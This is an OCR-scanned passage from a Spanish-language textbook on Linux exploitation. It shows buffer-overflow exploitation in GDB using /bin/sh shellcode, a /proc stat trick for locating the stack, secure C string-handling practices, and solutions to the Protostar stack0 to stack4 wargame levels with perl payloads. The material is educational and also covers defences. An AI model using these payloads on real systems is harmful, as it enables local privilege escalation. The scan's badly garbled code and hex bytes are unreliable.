Seguidamente  consultamos  el  contenido  de  la  memoria  en  la  direccion  del  registro  ESP.  La  orden  x 
sine  para  este  proposito.  De  momento  basta  saber  que  x  es  la  orden  en  si,  y  lo  que  esta  despues  de  la 
barra  diagonal  es  la  cantidad  y  el  form  at  0  del  contenido  a  mostrar,  en  este  caso  16  directories  en 
form  ato  h  e  x  ad  ec  i  m al . 


Observamos  pues  que  no  hay  nada  interesante  en  la  memoria  antes  de  que  strepy  ( )  se  liaya  invocado. 
Conti nuamos  la  ejecucion  del  programa  eon  c  y  este  vuelve  a  detenerse,  por  tanto,  vol  vemos  a 
consultar  el  contenido  de  la  memoria  en  ESP,  y  esta  vez  si  que  divisamos  una  gran  cantidad  de  valores 
0x4  i  (caracteres  A),  indicandonos  el  primero  de  ellos  donde  comienza  exactamente  nuestro  buffer 

nombre  [  ] ,  que  es  la  direccion  0xbffff2eQ. 
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Con  estos  datos  en  nuestras  manos,  ya  podemos  proceder  a  explotar  la  aplicacion,  incluso  desde  dentro 
del  propio  GDB,  Haeiendo  uso  del  shelleode  que  ya  presentamos  anteriormente,  observamos  el 
resultado  en  la  ilustraeion. 

&  -  '  tfv  b  lack  n  g  e  be- 

blacknget^bbc : gdb  -q  , /prog 

Leyendo  simbolos  <h?$cic  /home/blackngel/pfog. , . (no  se  encontraron  slnbolos  de  depu 
rac\6n)hecho. 

(gdb)  r bn  'perl  -e  print  n\x31\xcOYxSd\x6B\x2f\x2f \x73\x6B\x68\x2f \x62\x69\x6e\xj 
89\xe3\x50Yx53\x89\xe:iVxb0Yx5b\xc<i\x8fe^ ,rAAAAAAAMAAAAAAAAAAAA"  .  "\xe6\xf  2\xf  f \xbf 

Starting  program:  /home/blackngel/prog  perl  -e  'print  "\x31\xc0\x50\x6S\x2f \x2f\| 
x73\x68\x68^x2'^\x62\x69\x6e\x89\xe3\xS0\x53\x89^xel\xb0\xObYxcd\x88,, .  "AAAAAAAAAAA, 
AAAAAAAAAA *  .  £\xf  f  \xbf  "  1  ' 

Blenvenido  a  Linux  Exploiting  l4>Pb//shb/bin^PS^^ 

AAAAAAAAAAAAAAAAAAAAA**4* 

process  6239  is  executing  new  program;  /bln/dash 

s  _  1 

Imagen  01.13:  Explotacion  desde  GDB. 

Como  siempre,  primero  siluamos  el  shelleode,  luego  el  relleno,  y  per  ultimo  la  direccion  de  retomo. 
Cabe  seftatar  que,  por  razones  obvias  de  seguridad,  GDB  y  la  interfaz  ptrace  que  se  encuentra  por 
detras  no  permitira  que  se  nos  otorgue  una  shell  con  perm isos  de  roo  t  por  lo  que  el  exploit  final  debera 
ser  ejecutado  siempre  desde  la  consola  del  sistema. 

Una  ultima  opcion  interesante  a  comentar  de  GDB,  es  que  nos  permite  establecer  un  programa 
envoltorio  que  invoque  a  su  vez  a  la  aplicacion  a  depurar*  Esto  quiere  decir  que  podemos  hacer  que 
GDB  lance  nuestro  exploit  que  a  su  vez  lanzara  el  programa  vulnerable  con  el  payload  adecuado,  A 
continuation  mostramos  un  ejemplo  eon  el  exploit  en  Python  que  disenamos  en  la  section  anterior: 

blackngeldbbc gdb  -q  ./prog 
(gdb)  set  exec-wrapper  python  exploit. py 
(gdb)  run 

Starting  program:  /home/blackngel/prog 
5 

Esta  habilidad  nos  pennite  incluso  precargar  itbrerias  propias  mediante  la  variable  de  entomo 
ld  preload  y  el  comando  env,  pero  es  algo  que  por  el  momenta  no  nos  sera  neeesario. 

Ahora  si,  si  creia  que  GDB  es  el  unico  modo  de  obtener  information  ventajosa  de  una  aplicacion 
vulnerable,  entonces  se  equivoca  con  seguridad.  El  propio  sistema  operativo  Linux  puede 
proportionate  mas  datos  de  los  que  en  realidad  deberia*  Todo  proceso  que  se  ejecuta  bajo  Linux  posee 
una  entrada  correspondiente  en  el  sistema  de  archivos  virtual  /proc.  Esta  jerarquia  de  directories 
contiene  information  especial  sobre  la  parametrizacion  del  kernel,  y  datos  sobre  la  estmetura  de  las 
aplicaciones  que  se  encuentran  corriendo  en  un  instante  dado.  Por  cada  proceso  se  erca  un  nuevo 
directorio  cuyo  nombre  es  iguai  a  su  identificador  o  P1D,  Dentro  de  este  se  encuentra  otra  subestructura 
de  ficheros  que  uno  puede  consuttar  mediante  un  comando  como  cat  para  obtener  datos  de  suma 
relevancia.  Vea  en  la  siguiente  imagen  el  resultado  de  leer  el  archive  stat  correspondiente  al  proceso 
de  la  shell  /bin /bash  sobre  ta  que  estamos  trabajando. 


58 


Linux  Exploiting 


0^#  bLackngetfttbbc  - 


'  ?  See^ttp :  //procps ,  sf .  net  /  f  aq .  htral 


2435  321S3336S2  & 


ffS797  433B7  1  12  58  9  11  11  29  9 
*15419869  3216 12569 6  3218324472  36 
60  17  169100  135417664  1354 


Tmagen  01.14:  Information  de  un  proceso  en  ejecucion. 


Lu  que  en  un  principle  pareee  un  amasijo  de  numeros  sin  scnlido,  en  realidad  posee  una  estructura  que 
puede  ser  cornprendida  una  vez  consultada  la  documentation  oficial,  En  nombre  de  los  campos  segun 
el  orden  en  que  aparecen  se  muestra  en  el  siguiente  recuadro: 

pid,  tcomiti,  state,  ppid,pgid,  sid,  tty_nr,  tty_pgrp,  flags, 
iDaj_f  it,  cma j_f  It,  utime,  stime,  outline,  cstime,  priority,  nic,  num_threads, 
it_real_value5  start_time,  vsize,  rss,  rsslim,  startcode,  end_code,  start_stack, 
espT  eip,  pending,  blocked,  s igign,  sigcatch,  wchan,  zerol,  zero2,  exit,  signal,  epu, 
rt_priority,  policy. 


El  valor  que  se  encuentra  en  la  vigbsimo  octava  posicion  es  la  direeeion  del  comienzo  del  stack,  que 
podemos  obtener  y  convertir  a  notacion  hexadecimal  mediante  el  comando: 

blackngelibbc : echo  Mobase=16; n ' cat  /proc/34 62/stat  |  awk  '{  print  $28  I  be 

BFD3COCO 


Un  atacante  podria  aprovechar  este  seneillo  truco  para  vulnerar  loealmente  una  aplicacion  que  actue 
como  demonic.  Tan  solo  neceska  utilizar  un  depurador  como  GOB  para  obtener  la  direeeion  en  el 
stack  de  un  buffer  vulnerable,  y  luego  re  star  dicho  valor  a  la  direeeion  de  inicio  de  pi  la  que  habra 
obtenido  tal  y  como  hemos  mostrado  hace  un  instante.  El  resultado  de  esta  operacion  sera  un 
desplazamiento  que  se  mantendra  constante  aunque  la  maquina  de  la  victims  se  reinicie.  Para  la 
realization  de  un  exploit  elective,  baslara  con  obtener  nuevamente  la  direecibn  de  inicio  del  stack 
mediante  la  lectura  del  archivo  stat  corre sport diente,  y  sumar  el  desplazamiento  calculado  para 
averiguar  donde  se  encuentra  el  buffer  que  posiblemente  contendra  codigo  arbitrario. 


1.8.  Practicas  de  programacion  segura 


Sepa  el  lector  que  de  ningun  modo  deseamos  que  se  aparte  del  libro  que  liene  entre  sus  manos,  pero  si 
existe  una  referenda  que  consideramos  de  obligada  lectura  para  el  programador  interesado  en  la 
seguridad  es  la  siguiente:  ‘"Secure  Programming  for  Linux  and  Unix  HgwTo”  un  documento  escrito 
por  David  A.  Wheeler  que  puede  descargar  libremente  en  la  red  y  que  se  ha  establecido  como  la  guia 
de  facto  para  evitar  errores  catastrbficos  en  sus  aplicaciones.  Aprendera  muchos  conceptos  obtenidos 
a  parti r  de  la  dura  experiencia  y  le  acompanara  durante  el  reslo  de  su  vida  como  creador  de  aplicaciones 
robuslas.  Puede  consultar  la  version  online  en  la  siguiente  direeeion:  http;/fwww.dwhmler. com/secure- 
programs/Sec  ure-Programs-H  O  WT Of. 
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Ahora  continuemos.  Bxiste  una  creencia  errbnea  comunmente  aceptada  que  dice  que  aigunas  de  las 
ftineiones  del  lenguaje  que  se  encargan  de  manipular  cadenas  de  caracteres  son  vulnerables  y  no 
deberian  ser  utilizadas,  hablamos  de  tunciones  de  la  familia  strcpy (destine,  origen).  Dichos 
mCtodos  se  consideran  inseguros  porque  no  control  an  que  el  tamano  del  buffer  de  destine  sea  lo 
suficientemente  grande  como  para  almacenar  lo  que  eontiene  el  de  origem  Debemos  aclarar,  aun  a 
costa  de  contradecir  la  creencia  general,  que  esta  funcidn  y  aquellas  que  se  le  asemejan  no  son 
vulnerables,  su  objetivo  es  claro  y  son  usadas  por  mfinidad  de  aplieadones  sin  que  por  ello  eontengan 
errores  o  bugs.  La  Question  es  que  la  longilud  de  ambos  buffers  puede  comprobarse  en  cualquier  otro 
moraento  del  flujo  de  control  del  programa  siempre  que  sea  anterior  a  la  llamada  a  strcpy  (js  por  lo 
tanto  el  error  sera  en  todo  caso  del  programador  si  no  se  ocupa  de  esta  tarea  primordial.  Preferimos 
nombrar  esta  clase  de  tunciones  de  libreria  como  peligrosas  o,  en  todo  caso,  deeimos  que  se  les  debe 
prestar  especial  atencion  durante  su  uso. 

A  continuation  vamos  a  comentar  por  que  utilizar  una  funcion  como  strnepy  (destine,  origen, 
longitud),  aconsejada  en  muchos  manuales  por  varios  autores,  no  constituye  una  altemativa 
definitiva  iii  soluciona  todos  los  problemas  referentes  a  desbordamientos  dc  buffer. 

Si  bien  puede  ser  cierto  que  en  alguna  situation  espeeifica  esta  funcion  proporcione  inirmnidad  a  una 
aplicacion  y  ahorre  muchos  quebraderos  de  cabeza  al  ingeniero  de  software,  en  otras  podria  convertirse 
en  una  action  realmente  peligrosa.  Recordemos  que  el  lenguaje  de  programacion  C  interpreta  las 
cadenas  como  un  conjunto  de  bytes  del  tipo  char  que  siempre  son  finalizadas  en  un  caracter  nulo  (\o). 

Si  deelaramos  dos  buffers  consecutivos  dentro  del  ambito  dc  una  funcion,  estos  tarn  bien  scran  situados 
en  memoria  de  forma  eonsecutiva.  La  unica  forma  de  saber  dbnde  acaba  el  primero  es  encontrando  el 
byte  null  que  finaliza  la  cadena.  El  problema  radica  en  que  si  el  primer  buffer  no  eontiene  un  byte  nulL 
el  programa  seguird  buscando  uno  hasta  que  lo  encuentre,  que  en  este  caso  podria  ser  el  byte  null  del 
segundo  buffer,  interpretando  este  como  final  de  cadena  del  primero. 

Un  ejemplo  aclarara  el  problema.  Veamos  el  siguiente  programa  vulnerable. 

finclude  <stdio.h> 

finclude  <string.h> 

void  func(char  *strl,  char  *str2) 

t 

char  buff_a[16]; 
char  bu f f_b [24] ; 
char  bn f f_c [16]; 

strnepy (bnff_c,  strl,  sizeof  (buf  f_eM  ;  //  [1] 
strnepy (buff_b,  str2,  sizeof (buf f_b) “1) ;  //  {21 
strcpy (buf f_a,  buf f_c) ;  //  [3] 

} 

int  main  f int  arge,  char  *  a  rg v [ ] ) 

( 

if  (  arge  <  3  )  [ 

printf  (  "Uso  :  %s  CADENA- 1  CADENA- 2 \ n ,T ,  argv[0]); 
exit  (0) i 

} 

func (argv  [11 t  argv[2]); 
return  0; 

) 
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E!  problems  aqm  es  que  stxncpy'O  simplemeote  eopia  en  el  buffer  destino  tantos  bytes  del  buffer 
origen  como  le  scan  indicados  en  el  tercer  parametro,  pero  nunca  comprueba  que  el  buffer  de  destino 
termine  en  un  byte  null. 


Not  a 


Si  la  longitud  del  buffer  de  origen  es  menor  que  la  indicada  en  e!  tercer  parametro, 
strncpy  f )  si  rellenara  con  bytes  null  hasta  completar  el  valor  especificado. 


Echando  un  vistazo  al  programs,  parece  complicado  ver  la  vulnerabilidad  en  si.  En  f  1  ]  vemos  que 
seran  copiados  en  buf  f_c  hasta  1 6  bytes  como  maximo  del  primer  argumento  pasado  a  I  programs  En 
[2]  se  copian  en  buf f _b  hasta  23  bytes  como  maximo  del  segundo  argumento  pasado  a  l  pro  gram  a.  For 
este  motive,  parece  que  la  llamada  a  strepyO  en  [3]  es  segura,  ya  que  como  en  buff  o  tan  solo  se 
copiaron  16  bytes,  y  la  capacidad  de  buf  fa  es  la  misma,  cste  ultimo  buffer  nunca  se  desbordara. 

Pero  lo  que  realmente  ocurre  es  lo  siguiente,  str.cpyo  necesita  saber  donde  termina  buff  c  para 
copiar  la  cadena  dentro  de  buf  fa.  Si  nosotros  introducimos  un  primer  argumento  de  16  earacteres  de 
longitud,  estarenios  llenandolo  por  complete  sin  dejar  espacio  para  el  byte  null  finalizador  de  cadena, 
por  tanto  strepyO  seguira  bu  scan  do  en  la  memoria  hasta  encontrar  uno.  Como  buff  _b  es  eonti  guo 
en  la  memoria  a  buff_c,  es  logico  pensar  quo  el  primer  byte  null  que  cncontrara  sera  el  que  finaliza 
buff_b3  ya  que  all f  solo  se  copiaron  23  bytes  del  segundo  argumento  pasado  al  programa  y  se  dejo 
espacio  para  su  byte  null  apropiado,  Imagine  que  ejecutamos  el  programa  de  la  siguiente  forma; 

$  ,/prog  AAAAAAAAAAAAAAAA  BBBBBBBBBBBBBBBB 


0  la  formula  equivalente: 

S  ./prog  'perl  -e  'print  "A"xl€  .  "  H  .  T,B"xl6;  T  ' 


La  siguiente  figura  nos  ofrece  una  representacion  del  problema. 
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Imagcn  01,15;  Corrupcion  de  buffers  adyacentes. 
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Nuestro  program  a  ha  inlerpretado  que  el  final  de  cadena  dc  buff_c  es  en  realidad  el  final  de  cadena 
buf  f_b?  ya  que  ahi  es  donde  se  encuentra  el  byte  null  mas  proximo,  y  por  tanto  la  futura  llamada  a 
strcpy  ( )  ha  copiado  cn  realidad  32  bytes  en  vez  de  1 6,  que  era  lo  esperado,  y  por  tanto,  vemos  en  la 
iluslracibn  como  los  valor  es  guard  ados  de  EBP  v  EIP  son  sobrescritos. 

I  Cuales  son  las  posibles  soluciones? 

La  primera  idea  que  se  nos  ocurre  es  asegurarse  manualmcnlc  de  que  todos  los  buffers  terminen  con 
un  byte  null:  para  ello,  en  el  ejemplo  anterior  podriamos  haber  actuado  de  la  siguiente  manera: 

# define  MAXSIZE  16 

char  buffer [MAXSIZE] ; 

strncpy  (buffer,  argv[l],  MAXSIZE); 

buffer [MAXSIZE -1]  -  T\0‘;  


O  mas  breve  todavia: 

#define  MAXSIZE  16 

char  buffer [MAXSIZE]  =  {0}; 

strncpy (buffer,  argv[l],  MAXSIZE  -  1); 

Recuerde  que  strncpy  u  rellena  con  bytes  6\o'  hasta  alcanzar  la  longitud  proporcionada  como  tercer 
argumento.  Pero  a  pesar  de  que  pueda  sorprender  al  lector  menos  experto,  lo  cieno  es  que  esta  m  isma 
action  de  relleno  con  bytes  null  causa  que  el  simple  cambio  de  funciones  strcpy  0  por  strncpy  { ) 
degrade  considerablemente  el  rendimiento  de  una  aplicaeion  de  gran  envergadura,  hecho  que  ya  ha 
side  demostrado  en  la  realidad  y  que  verificaremos  con  un  sencillo  ejemplo.  Observe  el  siguiente 


fr include  <string.h> 

^include  <stdio.h> 

#define  MAXSIZE  1024 

int  main (int  arge,  char  **argv} 

{ 

char  buffer [MAXSIZE] ; 
int  i; 

if  (  arge  ==  1  )  { 

printf  { T,Uso :  %s  ENTRADAW,  argv[Q]); 
exit  <0); 

> 

if  (  strlen (argv [1]  )  >=  MAXSIZE  )  { 

printf  (T'Ha  excedido  el  limit©  de  caracteres  permitidos . \nTI )  ; 
return  0; 

1 

for  (  i  =  0;  i  <  100000000;  i++  ) 
strcpy {buf far,  argv[l]); 
return  0; 

1  


No  es  mas  que  un  sencillo  programa  de  benchmark  que  copia  100  millones  de  veces  el  primer 
argumento  pasado  al  programa  a  un  buffer  local  Hemos  volcado  posteriormente  512  caracteres  ‘A’  a 
un  fichero  input  en  el  direetorio  actual.  Si  ahora  ejecutamos  la  utilidad  time  sobre  el  binario  con  dicha 
entrada,  obtendremos  los  siguientes  resultados. 
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blackngel@bbc:^$  time  .  /prueba  '  cat  input." 
real  0mS.l60s 

user  0in5 .148s 

sys  OmO ,000s 


Cinco  segundos  escasos  de  tiempo  real.  Debido  a  la  llamada  previa  a  strieno  el  programa  no 
contiene  agujeros  de  segyridad,  pero  si  un  programador  paranoico  decide  sustituir  la  funcion  de  librena 
strcpy  ( )  por  la  siguiente  sentencia,  r . 

strncpy (buffer,  argv[l],  E4AXSIZE)  ; 


. .  .entonces  el  resultado  cambiara  sensiblemente: 

blackngel^bbc: ^3  time  ./prueba  'cat  input" 
real  Gjti7.4  98s 

user  0m7.472s 

sys  OmO. 012s 

Siete  segundos  y  medio,  lo  cual  nos  hace  pensar  quo  si  tal  accion  fuese  realizada  en  aplicaciones  como 
swk  o  grep  que  pueden  llegar  a  procesar  archives  de  decenas  de  gigabytes,  d  tiempo  de  procesado  se 
multiplicaria  exponencialmente.  En  definitiva,  si  Listed  va  a  disenar  una  aplicacion  para  crackear 
contrasenas  o  realizar  fuerza  bruta  sobre  un  algoritmo  dado,  asegurese  de  que  strcpy  [)  cumpla  su 
mision  sin  sorpresas  y  deje  strncpy u  aun  lado. 

Si  el  codigo  de  nuestro  programa  es  demasiado  amplio  o  eomplejo,  quizes  el  hecho  de  hacer  todas  las 
cadenas  null  terminated  de  forma  manual  puede  resultar  algo  tedioso  o  artificial.  Los  programadores 
de  BSD  se  preocuparon  hace  ya  tiempo  de  este  probleina  y  crearon  dos  funciones  que  realizan  esta 
sene  ilia  operacion  de  forma  intrlnseca.  Sus  nombres  son  stricpy o  y  stricat  (},  y  sus  prototipos  de 
fund  on  son  exactamente  iguales  a  la  fund  on  strncpy  {)  y  su  companera. 

stricpy  ()  se  encarga  de  ahadir  siempre  un  caracter  nulo  al  final  del  buffer  destine  sea  cual  sea  la 
longitud  de  los  datos  que  se  introduzcan  como  parametro,  aunque  esto  provoque  perdida  de 
informacibn.  Lo  importante  es  que  nunca  se  producira  un  problema  de  desbordamiento  por  la  union 
erronea  de  buffers  declarados  de  forma  adyacente  en  la  memoria. 

Tamo  stricpy  o  como  stricat  0  no  son  funciones  estandar  que  se  encuentren  disponibles  en  todas 
las  variantes  de  Unix,  pero  usted  puede  invocar  directamente  ambas  funciones  en  el  sistema  operative 
Mac  OS  X.  Para  entornos  Windows  puede  utilizar  las  funciones  seguras  strcpy_s  { ) ,  streams  ( ) , 
strncpy  so  y  strncat_s  o  que  comprueban  la  longitud  de!  buffer  de  destino  y  si  alguno  de  los 
punteros  pasados  como  parametros  son  nulos. 

He  aqui  un  ejemplo  de  definicion  de  cabecera: 

errno_t  strcpy_s (  char  *strDeatination,  size_t  numberQf Elements,  const  char  *strSouice 
) ; 


No  obstante,  algunos  programadores  acostumbran  a  reescribir  sus  propias  implenientaciones  y  las 
afiaden  al  codigo  fuente  de  sus  proyectos. 

De  lo  que  si  debe  cuidarse  en  extreme  el  programador,  es  de  los  datos  que  llegan  a  su  aplicacion  y  que 
funciones  (si  es  que  las  hay)  se  encargan  de  filtrar  los  mismos.  Mientras  escriba  su  codigo  sea  siempre 
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consciente  de  que  los  usuarios  son  entes  en  los  que  no  se  puede  confiar  y  cuya  infonnacion  debe 
validar  cuidadosamente*  La  regia  de  oro  es  la  siguiente:  defma  lo  que  es  estrictamente  legal  o 
permitido,  y  rechaze  todo  lo  demas.  Si  hace  lo  contrario  tenga  por  seguro  que  se  dejara  alguna 
deflnicion  en  ei  tintero  y  un  atacante  encontrara  la  debilidad  tarde  o  temprano. 

Las  variables  de  entomo  son  algunos  de  esos  elementos  que  un  atacante  podria  alterar  a  su  antojo  y 
que  un  programa  deberia  tratar  con  sumo  cuidado.  En  la  mayoria  de  las  ocasiones  usted  podra  desechar 
todas  aquellas  que  no  sean  extrictamente  necesarias  para  el  eorreeto  fimcionamiento  de  la  aplicacion, 
y  filtrar  el  resto  concienzudamente. 

Ya  hemos  visto  que  los  binarios  eon  el  bit  suid  activado  constituyen  uno  de  los  mayores  peligros  en 
un  sistema  operalivo  expuesto.  Cualquier  vulnerabilidad  presente  comprometeria  por  completo  la 
inaquina  de  la  vfcthna.  La  solucion  pasa  por  seguir  el  concepto  de  “menor  privilegio  posible”,  un 
proceso  deberia  realizar  cuanto  antes  todas  las  operaciones  que  requieran  elevacibn  de  privilegios,  y 
luego  desprenderse  de  ellos  para  seguir  su  curso  habitual*  Esto  puede  haeerse  temporal  o 
permanentemente,  de  mo  do  que  todavia  seria  posible  para  una  aplicacion  recuperar  sus  perm  isos  extra, 
aunque  esta  metodologfa  no  es  muy  recomendada  entre  los  desarrolladores  (es  obvio  que  si  un  atacante 
logra  inyectar  codigo  propio,  tambien  podra  reestablecer  dichos  perm  isos)*  Otra  altemativa  mas 
inteligente  es  bifurcar  un  nuevo  proceso  mediant e  fork  ( ) ,  manteniendo  los  privilegios  en  el  proceso 
padre  y  abandonandolos  en  el  hi  jo.  Si  una  comuni caeion  ha  sido  establecida  entre  ambos  procesos  (por 
ejemplo  mediante  socketpair  o),  el  liijo  puede  solicitar  del  padre  una  operation  que  requiera 
perm  isos  el  ev  ados  y  luego  continuar  su  flujo  normal  limitando  asi  la  cobertura  frente  a  ataques. 


N 


La  libreria privman?  disponible  en  http://opensource.fiailabs.com/privmanA  implementa 
esta  capacidad  de  separation  de  privilegios. 


Como  rnedida  adicional,  usted  deberia  evitar  que  su  aplicacion  produzca  un  archivo  core  de  volcado 
de  memoria  cuando  sobre  el  la  se  bay  a  provocado  un  fallo  de  segmentation.  Puede  lograrlo  llamando 
a  la  funcidn  s-etr limit  ()  y  asignando  un  0  como  valor  para  rlimit  core.  Para  mas  infonnacion 
consult  la  pagina  man  correspond!  ente. 


1.9.  Solucionario  Wargames 

STACK  0 

Este  nivel  introduce  los  eonceptos  esenciales  de  que  la  memoria  puede  ser  accedida  fuera  de  su  espacio 
asignado,  como  las  variables  se  ordenan  en  la  pi  la  y  por  que  sobrescrihir  m&s  alia  de  la  region 
reservada  puede  alterar  la  ej  edition  de  un  programa. 


Codigo  Fuente _ 

01  #include  <stdlib.h> 
02  tinclude  <unistd.h> 
03  tinclude  <stdio.h> 
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04 

05  int  main (int  argc,  char  **argv) 

06  { 

07  volatile  int  modified; 

03  char  buffer [64]; 

09 

10  modified  =*  0; 

11  gets (buffer) ; 

12 

13  if (modified  !=  0)  { 

14  printf  ( "you  have  changed  the  'modified1  variable\.n")  ; 

15  )  else  { 

16  printf  (,TTry  again?\n,T)  ; 

17  } 

IB  }  

Solution 

El  error  mas  basico.  Podemos  introducir  datos  sin  1  unite  en  un  buffer  de  64  bytes  de  eapaeidad,  si  lo 
sobrepasamos  modifiearemos  todo  lo  que  se  encuentre  despues  de  el}  es  decir,  aquellos  dales  o  valores 
presentes  en  el  stack  o  pila,  lugar  en  el  que  tambien  se  encuentra  la  variable  entera  modified, 

userSprotostar : /opt/protostar /bin$  perl  -e  'print  Ma"x70T  |  ,/stackO 
you  have  changed  the  Modified1  variable 


Relo  superado. 


STACK  1 

Este  nivel  introduce  el  coneepto  de  que  las  variables  pueden  ser  aiteradas  con  valores  especificos  y 
como  eslas  se  organizan.  Pista;  Si  no  estas  familiarizado  con  la  notacion  hexadecimal  consulta  nan 
ascii.  La  arquitectura  es  little-endian. 

Cddigo  Fiiente  _ _ _ _ 

01  f.include  <stdlib.h> 

02  # include  <unistd.h> 

03  #include  <stdio.h> 

04  ^include  <string.h> 

05 

06  int  main (int  arge,  char  **argv) 

07  { 

08  volatile  int  modified; 

09  char  buffer  [  64  ] ; 

10 

11  xf(argc  ==  1 )  { 

12  errxtlf  "please  specify  an  argument\n") ; 

13  } 

14 

15  modified  =  0; 

16  strepy (buffer,  argv[l] ) ; 

17 

18  if (modified  ==  0x61626364)  { 

19  printf  ("you  have  correctly  got  the  variable  to  the  right  valueW); 

20  )  else  { 
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21  printf ( "Try  again,  you  got  0x%G8x\ntl,  modified); 

22  [ 

23  1 


Solution 

Lo  mismo  que  el  reto  anterior  pero  esta  vez  la  entrada  de  datos  proviene  del  primer  argumento  pasado 
al  programs  y  la  variable  modified  debe  ser  alterada  con  un  valor  dword  precise.  Tal  y  come  apunta 
el  reto,  la  arquitectura  x86  es  little-endian  y  los  valores  o  direcciones  en  memoria  se  almacenan  en 
orden  inverso. 

user@protostar : /opt/protostar/bin$  . /stackl  'perl  -e  'print  "a"x64 
"\x64\x63\x£2\x61" 1 ' 

you  have  correctly  got.  the  variable  to  the  right  value 


Reto  superado. 


STACK  2 

Stack2  estudia  las  variables  de  eniomo  y  c6mo  estas  son  configuradas. 


Qkiigo  Fuente _ 

01  #include  <stdlib.h> 

02  # include  <unistd.h> 

03  # include  <stdio*h> 

04  # include  <string,h> 

05 

06  int  main(int  argc,  char  **argv) 

07  { 

08  volatile  int  modified; 

09  char  buffer [64]; 

10  char  * variable; 

11 

12  variable  =  get env  ("GREEN IE,T)  ; 

13 

14  if (variable  ==  NULL)  { 

15  errx (1,  "please  set  the  GREENIE  environment  variable\n") ; 

16  } 

17 

18  modified  —  0; 

19 

20  strcpy (buf f er,  variable); 

21 

22  if (modified  ==  OxGdGaOdOa)  f 

23  printf ("you  have  correctly  modified  the  variableXn11 )  ; 

24  }  else  { 

25  printf ("Try  again,  you  got  Gx%G8x\nTI,  modified) ; 

26  } 

27  ) 

Sol  u  cion 

Mismo  procedimiento  que  en  el  reto  anterior  pero  la  entrada  proviene  de  una  variable  de  entorno 
GREENIE.  La  exportamos  y  llamamos  a  ./stack2: 
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userSprotostar  i /opt/protostar/bin$  export  GREEMIE= ' perl  -e  'print  T,a"x64 
"\xOa\xGd\xOa\xOdT' T  " 

user@prot-ostar ; /opt/protostar/bin$  .  /stack2 
you  have  correctly  modified  the  variable 


Reto  super  a  do. 


STACK  3 

Stacks  estudia  las  variables  de  entomo,  como  dstas  son  configuradas,  y  como  se  pueden  sobrescribir 
punteros  almacenados  eo  la  pila  como  un  preludio  a  la  modification  de  EIP.  Pista:  gdb  y  objdump 
pueden  ayudarle  a  determinar  la  ubicaeion  de  la  funcion  win  o  en  memoria. _ _ 


Codigo  Fuente _ __ _ _ _ _ 

0 1  ^include  <stdlib.h> 

02  #include  <unistd.h> 

03  linclude  <stdio.h> 

04  # include  < string *h> 

05 

06  void  win ( ) 

07  { 

OS  print f  ("code  flow  successfully  changed\n”  )  ; 

09  } 

10 

11  int  main (int  argc,  char  **argv) 

12  [ 

13  volatile  int  (*fp) () ; 

14  char  buffer[64]r* 

15 

16  fp  =  0; 

17 

18  gets (buffer) ; 

19 

20  if (fp)  ( 

21  printf ("calling  function  pointer,  jumping  to  Gx%08x\nn ,  fp)  ; 

22  fp(); 

23  } 

24  ) 

Solution 

Esta  vez  lo  que  esta  encima  de  buffer  [  ]  en  el  stack  es  un  puntero  a  funcion  que  podemos  modificar 
para  alterar  el  flujo  de  ejecucion  del  programa.  Te nemos  que  ejecutar  win  o  para  snperar  el  reto,  para 
ello  oblenemos  su  direccion  de  memorial 

user@protostar : /opt/protostar/bin$  objdump  -d  ./stacks  |  grep  "win" 

0B048424  <win> : 


Y  con  esta  direccion  sobrescribimos  la  direccion  de  retorno  guardada; 

useriprotostar  : /opt /protostar /bin  $  perl  -e  ’print  "aT'x64  .  "  \x24 \x8  4 \x04 \x08  "  1  I 

.  /stack3 

calling  function  pointer,  jumping  to  0x08048424 
code  flow  successfully  changed  
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Reto  superado. 


STACK  4 

Stack4  estudia  la  alteracion  del  registro  EIP  guar  dado  y  las  bases  de  los  stack  overflow.  Pistas:  Existe 
una  variedad  de  articulos  sobre  buffer  overlfows  que  podrian  ayudarle.  GDB  le  permite  hacer  run  < 
input.  Tenga  en  cuenta  que  EIP  no  tiene  porque  encontrarse  justo  despues  de  buffer,  los  compiladores 
pueden  anadir  un  relleno. 

Cddifio  Fuente _ _ 

*01  tinclude  <stdlib.h> 

02  #include  <unistd.h> 

03  tinclude  <stdio.h> 

04  tinclude  <string.h> 

05 

06  void  win  () 

07  { 

08  printf ("code  flow  successfully  changed\nfl )  ; 

09  } 

10 

11  int  main (int  argc,  char  **argv) 

12  ( 

13  char  buffer [64]; 

14 

15  gets (buffer) ; 

16  } 


Solution 

Ahora  corresponds  sobrescribir  la  direccion  de  retomo  guardada  eu  el  stack  con  la  direccion  de  win  () : 

user@protostar : /opt/protostar/bin$  ob j dump  -d  ,/stack3  j  grep  "win" 

080433f 4  <win> : 


Lo  uni co  que  hay  que  calcular  es  el  otYset  o  desplazamiento  hasta  el  EIP  guardado,  despues  de  un  par 
de  intentos  obte nemos  e!  valor  correcto: 

user@protostar  : /opt/protosta.r/bin$  perl  -e  f  print  "a,Tx76  ,  " \xf  4 \x83 \x04\x08"  '  | 

,  /stack4 

code  flow  successfully  changed 
Segmentation  fault 


Reto  superado. 


1.10.  Dilucidacion 

Este  capitulo  ha  asentado  las  bases  necesarias  para  comprender  los  problemas  inherentes  a  todos  los 
fall  os  de  corrupcion  de  memoria.  Hemos  apretidido  a  traves  de  las  anteriores  secciones  que  es  una 
ejecucidn  de  codigo  arbitrario  y  como  redingir  el  flujo  de  ejecueion  de  un  programa  vulnerable  para 
obtener  una  shell  de  comandos  con  pcrmisos  de  root.  Vislumbramos  tambien  algunos  matices  de  lo 
que  constituye  un  payload  o  she  1 1  code,  tema  que  abarcaremos  con  gran  lujo  de  detalle  en  el  si  gu  rente 
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capitulo.  Hemos  presentado  el  depurador  de  aplicaeiones  de  Linux,  GDB  y  sus  interfaces  graficas,  y 
como  ulilizar  este  de  forma  eficiente  para  analizar  las  condiciones  dinamicas  que  nos  pueden  eonducir 
a  una  ex  a  cl  a  explotacion  del  si  sterna.  Para  terminar  nos  hemos  detenido  en  detail  ar  algunas  de  las 
postbles  soluciones  de  las  que  dispone  el  programador  para  evitar  fallos  de  esie  calibre  en  sus 
proyectos, 

En  el  mundo  real,  las  vulnerabilidades  referentes  a  deshordamientos  de  buffer  se  encuentran  por  todas 
partes,  Los  investigadores  y  profesionales  de  la  seguridad  informatiea  se  ban  entrenado  a  eonciencia 
y  poseen  eada  dia  habilidades  mas  espedficas  para  localizar  eualquier  fallo  presente  en  una  aplicacion 
de  production  y  disenar  una  solucion  o  parche  en  un  margen  de  tiempo  concrete.  Por  desgracia,  desde 
que  se  produce  la  notification  del  error  por  parte  del  hacker,  el  espacio  de  tiempo  de!  que  disponen  las 
